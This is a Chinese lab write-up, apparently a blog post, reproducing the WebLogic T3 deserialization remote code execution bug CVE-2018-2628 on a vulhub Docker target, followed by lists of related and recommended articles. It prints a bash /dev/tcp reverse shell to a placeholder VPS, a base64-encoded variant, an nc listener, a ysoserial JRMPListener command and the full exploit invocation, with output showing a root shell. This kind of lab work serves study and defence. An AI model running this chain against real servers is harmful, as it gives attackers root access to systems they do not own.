好久没发新文章了,躲懒了,是时候该更新一篇了,这一篇是关于WebLogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)的复现,该漏洞是weblogic的经典漏洞,而网上有关的复现稍显麻烦且方式有些老旧,特此更新一篇。

Weblogic T3协议反序列化命令执行漏洞介绍:

  Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中,并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。

影响范围:  

  Weblogic 10.3.6.0
  Weblogic 12.1.3.0
  Weblogic 12.2.1.2
  Weblogic 12.2.1.3

靶机介绍:

  此次复现使用vulhub中的/vulhub-master/weblogic/CVE-2018-2628中靶场,具体靶场搭建这里就不多赘述了,参考vulhub官网即可。

  开启靶场:docker-compose up -d

vf@vf-virtual-machine:~/vulhub-master/weblogic/CVE-2018-2628$ sudo docker-compose up -d
Creating network "cve20182628_default" with the default driver
Pulling weblogic (vulhub/weblogic:10.3.6.0-2017)...
10.3.6.0-2017: Pulling from vulhub/weblogic
6599cadaf950: Pull complete
23eda618d451: Pull complete
f0be3084efe9: Pull complete
52de432f084b: Pull complete
a3ed95caeb02: Pull complete
a2318f26c625: Pull complete
1aa642dd8cc1: Pull complete
b307208f8bf5: Pull complete
1dfbbdcc497d: Pull complete
a53e674a7606: Pull complete
5f06bb51fa3c: Pull complete
ff0ff72567f2: Pull complete
684862046025: Pull complete
abbf8d475455: Pull complete
848eb11ef744: Pull complete
2f3438f2b83b: Pull complete
8e5871e15571: Pull complete
Digest: sha256:275ec19477cfda389dc1c42158033e7e8c650dd4cba9f090ca0ba673902b73c9
Status: Downloaded newer image for vulhub/weblogic:10.3.6.0-2017
Creating cve20182628_weblogic_1 ...
Creating cve20182628_weblogic_1 ... done

  访问ip:7001/console出现如下页面表示靶场搭建成功。这里的ip为192.168.28.136(靶机ip)

漏洞检测:

  使用相应的poc脚本进行检测即可

  poc地址:https://github.com/Aedoo/CVE-2018-2628-MultiThreading

  可见检出漏洞:

漏洞利用:

  注意,该命令执行漏洞没有回显,因此只能对目标机执行代码而无法返回执行结果,所以,这里我们直接进行反弹shell:

  反弹shell payload准备:

bash -i >& /dev/tcp/远端vps-ip/8888 0>&1

  由于Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,所以我们使用base64的反弹shell形式,具体如下:

bash -c {echo,上面反弹shell的base64编码}|{base64,-d}|{bash,-i}

  远端vps监听端口:

root@VM-0-17-ubuntu:/home/ubuntu# nc -lnvp 8888
Listening on 0.0.0.0 8888

  下载反序列化漏洞利用工具jar文件:ysoserial.jar

  地址:https://github.com/frohoff/ysoserial。按照说明生成jar文件即可。

  远端vps开启JRMP Server端口监听,端口随意,这里设置为38080

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 38080 CommonsCollections1 'bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}'
* Opening JRMP listener on 38080

  出现Opening JRMP listener on 38080即表明jrmp server监听成功。

  到这里,反弹shell的环境就准备完毕,下面下载exp:

  exp地址:https://www.exploit-db.com/exploits/44553

  copy代码,保存为exploit.py

  攻击机payload准备:

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

  这里的victim ip/port 为靶机的ip和端口,path to ysoserial为ysoserial.jar文件的路径,因为这个exp会调用这个jar,JRMPListener ip/port为jrmp server服务器的ip和监听的端口,这里端口为38080。JRMPClient有两个选项,为:JRMPClient或JRMPClient2,这里使用JRMPClient。

  最终payload:

python2 exploit.py 192.168.28.136 7001 /home/kali/Desktop/weblogic/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 远端vps-ip 38080 JRMPClient

  执行exp:

┌──(kali㉿kali)-[~/Desktop/weblogic]
└─$ python2 exploit.py 192.168.28.136 7001 /home/kali/Desktop/weblogic/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar xxx.xxx.xxx.xxx 38080 JRMPClient
handshake successful
send request payload successful,recv length:1690
command: java -jar /home/kali/Desktop/weblogic/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient xxx.xxx.xxx.xxx:38080 > payload.out
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
payload: ...
response: ...
...
exploit completed!

  回显exploit completed表明执行完毕,回看vps监听端口可见:

root@VM-0-17-ubuntu:/home/ubuntu# nc -lnvp 8888
Listening on 0.0.0.0 8888
Connection received on xxx.xxx.xxx.xxx 50634
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@06ff6f667a1a:~/Oracle/Middleware/user_projects/domains/base_domain# whoami
<Middleware/user_projects/domains/base_domain# whoami
root

  反弹shell成功。

  复现完毕。

Weblogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)复现的更多相关文章

  1. JBOSSAS 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)

    本文主要记录一下JBOSSAS 5.x/6.x 反序列化命令执行漏洞的测试过程 仅供学习 文中利用到漏洞环境由phith0n维护: JBoss 5.x/6.x 反序列化漏洞(CVE-2017-1214 ...

  2. 企业安全06-Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

    CVE-2017-5645 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645) 一.漏洞原理 Apache Log4j是一个用于Java的日志记录库,其支持启动 ...

  3. Supervisord远程命令执行漏洞(CVE-2017-11610)复现

    Supervisord远程命令执行漏洞(CVE-2017-11610)复现 文章首发在安全客 https://www.anquanke.com/post/id/225451 写在前面 因为工作中遇到了 ...

  4. Weblogic wls9_async_response 反序列化远程命令执行漏洞(CVE-2019-2725)复现

    一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-2725,危险级别:高危,CVSS分值:9.8. CNVD 编号:CNVD-C-2019-48814,CNVD对该漏洞的综合评级为 ...

  5. 利用phar实行php反序列化命令执行漏洞复现

    利用phar实行php反序列化命令执行(测试环境复现) 前言 一般说到反序列化漏洞,第一反应都是unserialize()函数.然而安全研究员Sam Thomas分享了议题”It’s a PHP un ...

  6. Weblogic CVE-2018-3191远程代码命令执行漏洞复现

      0x00 简介 北京时间10月17日,Oracle官方发布的10月关键补充更新CPU(重要补丁更新)中修复了一个高危的WebLogic远程代码执行漏洞(CVE-2018-3191).该漏洞允许未经 ...

  7. Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

    影响版本 Apache Shiro <= 1.2.4 产生原因 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cook ...

  8. Apereo CAS 4.1 反序列化命令执行漏洞

    命令执行 java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success&q ...

  9. Weblogic命令执行漏洞(CVE-2018-2628)复现

    一.漏洞环境搭建 CVE-2018-2628影响的软件版本为: Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.2 Weblogic 12.2. ...

  10. Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)

    影响范围 Liferay Portal 6.1.X Liferay Portal 6.2.X Liferay Portal 7.0.X Liferay Portal 7.1.X Liferay Por ...

随机推荐

  1. ssh终端工具推荐-WindTerm

    什么是WindTerm 官方github https://github.com/kingToolbox/WindTerm A Quicker and better SSH/Telnet/Serial/ ...

  2. 2021-04-18:给定一个二维数组matrix,里面的值不是1就是0,上、下、左、右相邻的1认为是一片岛,返回matrix中岛的数量。

    2021-04-18:给定一个二维数组matrix,里面的值不是1就是0,上.下.左.右相邻的1认为是一片岛,返回matrix中岛的数量. 福大大 答案2021-04-18: 并查集. 代码用gola ...

  3. 2022-02-28:k8s安装adminer,yaml如何写?

    2022-02-28:k8s安装adminer,yaml如何写? 答案2022-02-28: yaml如下: apiVersion: apps/v1 kind: Deployment metadata ...

  4. 2021-08-28:给定一个正数数组arr,长度一定大于6(>=7),一定要选3个数字做分割点,从而分出4个部分,并且每部分都有数,分割点的数字直接删除,不属于任何4个部分中的任何一个。 返回有没有

    2021-08-28:给定一个正数数组arr,长度一定大于6(>=7),一定要选3个数字做分割点,从而分出4个部分,并且每部分都有数,分割点的数字直接删除,不属于任何4个部分中的任何一个. 返回 ...

  5. vue全家桶进阶之路14:常用属性和方法

    Vue2中常用的属性和方法: 属性 el:用于指定Vue实例挂载的元素,可以是CSS选择器.HTML元素或Vue组件. data:用于存储Vue实例的响应式数据,也可以是一个函数,返回一个对象,用于提 ...

  6. MAX30102采集心率数据

    一个100行的代码调试都可能会让程序员遇到很多挫折,所以,面对挫折,我们永远不能低头. 关于MAX30102驱动配置程序,网上搜索博客有一堆资料,c/c++写的驱动代码都有, 可参考博客: MAX30 ...

  7. 二次封装Element UI Table实现动态列

    开发中是否会遇见在一个页面中加载的table的列是不固定的,列名需要根据后台数据而动态加载:so element ui 的table 已经不再满足需求,我们得在他的基础上再次封装 增加 refacto ...

  8. 新风向标:学术界开始从 Python 转向 Rust

    作者 | Jeffrey M. Perkel 策划 | Tina 来源 | Rust语言中文社区 Rust 现在已经越来越受到科学家们的欢迎了,比起 Python,Rust 有着更高效的性能,同时在社 ...

  9. 【QCustomPlot】下载

    说明 使用 QCustomPlot 绘图库辅助开发时整理的学习笔记.同系列文章目录可见 <绘图库 QCustomPlot 学习笔记>目录.本篇介绍 QCustomPlot 的下载. 目录 ...

  10. 在 Istio 服务网格内连接外部 MySQL 数据库

    为了方便理解,以 Istio 官方提供的 Bookinfo 应用示例为例,利用 ratings 服务外部 MySQL 数据库. Bookinfo应用的架构图如下: 其中,包含四个单独的微服务: pro ...